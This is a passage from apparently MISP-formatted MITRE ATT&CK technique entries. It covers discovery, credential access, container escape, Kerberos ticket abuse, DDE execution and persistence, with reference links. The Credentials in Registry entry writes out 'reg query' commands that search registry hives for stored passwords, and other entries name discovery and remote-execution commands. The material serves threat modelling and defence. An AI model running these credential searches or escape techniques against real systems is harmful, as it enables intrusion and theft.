Linux has commands such as `parted`, `lsblk`, `fdisk`, `lshw`, and `df` that can list information about disk partitions such as size, type, file system types, and free space. The command `diskutil` on MacOS can be used to list disks while `system_profiler SPStorageDataType` can additionally show information such as a volume's mount path, file system, and the type of drive in the system.

Infrastructure as a Service (IaaS) cloud providers also have commands for storage discovery such as `describe volume` in AWS, `gcloud compute disks list` in GCP, and `az disk list` in Azure.(Citation: AWS docs describe volumes)(Citation: GCP gcloud compute disks list)(Citation: azure az disk)

The tag is: *misp-galaxy:mitre-attack-pattern="Local Storage Discovery - T1680"*

Table 8470. Table References

Links
https://attack.mitre.org/techniques/T1680
https://cloud.google.com/sdk/gcloud/reference/compute/disks/list
https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-volumes.html
https://learn.microsoft.com/en-us/cli/azure/disk?view=azure-cli-latest
https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html
https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html
https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html
https://www.volexity.com/blog/2023/06/28/charming-kitten-updates-powerstar-with-an-interplanetary-twist/

Container Administration Command - T1609

Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)

In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)

The tag is: *misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609"*

Table 8471. Table References

Links
https://attack.mitre.org/techniques/T1609
https://docs.docker.com/engine/reference/commandline/dockerd/
https://docs.docker.com/engine/reference/commandline/exec/
https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime
https://kubernetes.io/docs/concepts/overview/kubernetes-api/
https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/
https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/

NTFS File Attributes - T1096

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096"*

Table 8472. Table References

Links

http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
http://msdn.microsoft.com/en-us/library/aa364404
https://attack.mitre.org/techniques/T1096
https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

Permission Groups Discovery - T1069

Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.

Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069"*

Table 8473. Table References

Links
https://attack.mitre.org/techniques/T1069
https://kubernetes.io/docs/reference/access-authn-authz/authorization/
https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/

Windows Admin Shares - T1077

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>.

Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service

Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)

The [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077"*

Table 8474. Table References

Links
http://support.microsoft.com/kb/314984
https://attack.mitre.org/techniques/T1077
https://capec.mitre.org/data/definitions/561.html
https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem
https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts
https://en.wikipedia.org/wiki/Server_Message_Block
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
https://technet.microsoft.com/bb490717.aspx
https://technet.microsoft.com/en-us/library/cc787851.aspx

Pass the Ticket - T1097

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)

Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)

Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT

account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097"*

Table 8475. Table References

Links
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
https://adsecurity.org/?p=556
https://attack.mitre.org/techniques/T1097
https://capec.mitre.org/data/definitions/645.html
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf

Disabling Security Tools - T1089

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.

The tag is: *misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089"*

Table 8476. Table References

Links
https://attack.mitre.org/techniques/T1089
https://capec.mitre.org/data/definitions/578.html

Space after Filename - T1151

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

The tag is: *misp-galaxy:mitre-attack-pattern="Space after Filename - T1151"*

Table 8477. Table References

Links
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
https://attack.mitre.org/techniques/T1151
https://capec.mitre.org/data/definitions/649.html

Escape to Host - T1611

Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)

There are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host's filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)

Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)

In ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.(Citation: Broadcom VMSA-2025-004)

Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.

The tag is: *misp-galaxy:mitre-attack-pattern="Escape to Host - T1611"*

Table 8478. Table References

Links
https://0xn3va.gitbook.io/cheat-sheets/container/escaping

https://attack.mitre.org/techniques/T1611
https://docs.docker.com/get-started/overview/
https://docs.docker.com/storage/bind-mounts/
https://github.com/vmware/vcf-security-and-compliance-guidelines/tree/main/security-advisories/vmsa-2025-0004
https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/
https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/
https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html

Create strategic plan - T1231

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1231).

Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)

The tag is: *misp-galaxy:mitre-attack-pattern="Create strategic plan - T1231"*

Table 8479. Table References

Links
https://attack.mitre.org/techniques/T1231

Capture SMS Messages - T1412

A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.

On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.

On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.

The tag is: *misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412"*

Table 8480. Table References

Links
https://attack.mitre.org/techniques/T1412

Credentials in Registry - T1214

The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
- Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214"*

Table 8481. Table References

Links
https://attack.mitre.org/techniques/T1214
https://pentestlab.blog/2017/04/19/stored-credentials/

System Time Discovery - T1124

An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)

System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as <code>GetTickCount()</code> to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion)

On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd) On ESXi servers, `esxcli system clock get` can be used for the same

purpose.

In addition, system calls – such as <code>time()</code> – have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as <code>systemsetup -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022)

This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)

The tag is: *misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"*

Table 8482. Table References

Links
https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/
https://attack.mitre.org/techniques/T1124
https://msdn.microsoft.com/ms724961.aspx
https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/
https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac
https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
https://wiki.archlinux.org/title/System_time
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674
https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/
https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082
https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis
https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf
https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/

Determine strategic target - T1241

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content

of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1241).

An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine strategic target - T1241"*

Table 8483. Table References

Links
https://attack.mitre.org/techniques/T1241

Browser Information Discovery - T1217

Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)

Browser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)

The tag is: *misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217"*

Table 8484. Table References

Links
https://attack.mitre.org/techniques/T1217
https://support.google.com/chrome/a/answer/7349337
https://www.kaspersky.com/blog/browser-data-theft/27871/

Netsh Helper DLL - T1128

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent

manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)

The tag is: *misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128"*

Table 8485. Table References

Links
https://attack.mitre.org/techniques/T1128
https://github.com/outflankbv/NetshHelperBeacon
https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
https://technet.microsoft.com/library/bb490939.aspx

Remote Access Tools - T1219

An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.

Remote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.

Installation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome's Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219"*

Table 8486. Table References

Links
https://attack.mitre.org/techniques/T1219
https://blog.crysys.hu/2013/03/teamspy/
https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf
https://support.google.com/chrome/answer/1649523
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf

External Remote Services - T1133

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)

Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.

Access may also be gained through an exposed service that doesn't require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)

Adversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access.(Citation: The BadPilot campaign) Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.(Citation: Russian threat actors dig in, prepare to seize on war fatigue)

The tag is: *misp-galaxy:mitre-attack-pattern="External Remote Services - T1133"*

Table 8487. Table References

Links
https://attack.mitre.org/techniques/T1133

https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/?ref=thestack.technology
https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/russian-threat-actors-dig-in-prepare-to-seize-on-war-fatigue
https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Obfuscation or cryptography - T1313

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1313).

Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscation or cryptography - T1313"*

Table 8488. Table References

Links
https://attack.mitre.org/techniques/T1313

Access Token Manipulation - T1134

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the

remote system.(Citation: Pentestlab Token Manipulation)

Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134"*

Table 8489. Table References

Links
https://attack.mitre.org/techniques/T1134
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
https://pentestlab.blog/2017/04/03/token-manipulation/
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf

Account Access Removal - T1531

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)

In Windows, [Net](https://attack.mitre.org/software/S0039) utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the <code>passwd</code> utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).

Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective.

The tag is: *misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531"*

Table 8490. Table References

Links
https://attack.mitre.org/techniques/T1531
https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/
https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/

Network Share Discovery - T1135

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"*

Table 8491. Table References

Links
https://attack.mitre.org/techniques/T1135
https://en.wikipedia.org/wiki/Shared_resource
https://technet.microsoft.com/library/cc770880.aspx

Office Application Startup - T1137

Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)

The tag is: *misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"*

Table 8492. Table References

Links
https://attack.mitre.org/techniques/T1137
https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/
https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
https://github.com/sensepost/notruler
https://github.com/sensepost/ruler
https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943

Dynamic Data Exchange - T1173

Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173"*

Table 8493. Table References

Links
https://attack.mitre.org/techniques/T1173
https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
https://technet.microsoft.com/library/security/4053440
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
https://www.contextis.com/blog/comma-separated-vulnerabilities

Obfuscate operational infrastructure - T1318

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1318).

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscate operational infrastructure - T1318"*

Table 8494. Table References

Links
